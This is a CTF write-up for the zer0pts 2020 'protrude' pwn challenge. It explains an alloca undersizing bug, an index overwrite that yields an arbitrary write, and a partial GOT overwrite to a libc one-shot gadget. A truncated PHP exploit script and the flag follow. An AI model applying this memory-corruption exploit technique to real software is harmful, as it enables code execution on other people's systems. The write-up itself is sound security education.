# protrude - zer0pts CTF 2020 (pwn, 525p, 22 solved)
## Introduction

protrude is a pwn task.

An archive containing a binary, its source code and a libc is provided.

The binary asks the user for up to 22 numbers and calculates the sum of these

## Vulnerability

The binary allocates room on the stack with `alloca`. It ensure that there is no
more than 22 numbers and allocates `n * 4` bytes.

It then reads `n` long integers, and calculates the result.

The vulnerability lies in the fact that a long integer does not have a size of
4. The allocated buffer is half too short to hold every numbers.

The variables on the stack are ordered this way:
void *rip;
void *rbp;
void *rbx;
long canary;
long *array;
long sum;
size_t i;
long array[k];
long array[k - 1];
long array[k - 2];
long array[k - 3];

Writing past the array will overwrite the index at which the user's input is
read. It is possible to write anywhere by overwriting this index to point to the
`array` pointer, and overwrite it in turn with an other pointer.

## Exploitation

It is not possible to ROP because it is not possible to leak the canary (or any
address) : the program quits once the sum is printed, with no way to come back
to the main loop.

It is possible however to overwrite the global offset table. Replacing a pointer
with a pointer to the libc because the libc is subject to ASLR.

However, it is possible to overwrite partially one of the pointer and have a
reduced probability of guessing the ASLR.

One possibility is to partially overwrite the last 3 bytes of the pointer to
`printf` with `0x04526A`, which points to a one-shot gadget (satisfied when
`RSP + 0x30` is NULL). This strategy should work once every 4096 times on

**Flag**: `zer0pts{0ops_long_is_8_byt3s_l0ng}`

## Appendices

### pwn.php

write(str_pad("22", 0x20));
$t->write(str_repeat("0", 0x20 * 14));
$t->write(str_pad("15", 0x20));
$t->write(str_pad(0x00601030 - 0x11 * 8 - 5, 0x20));
$t->write(str_pad(0x04526A << (5 * 8), 0x20));
$t->write("echo shell\n");

/* Read every responses */
$t->expect("n = ");
for($i = 0; $i < 15; $i++)
$t->expect("num[" . ($i + 1) . "] = ");
$t->expect("num[17] = ");
$t->expect("num[18] = ");

printf("[*] Shell\n");

Original writeup (https://github.com/TFNS/writeups/blob/master/2020-03-07-zer0ptsCTF/protrude/README.md).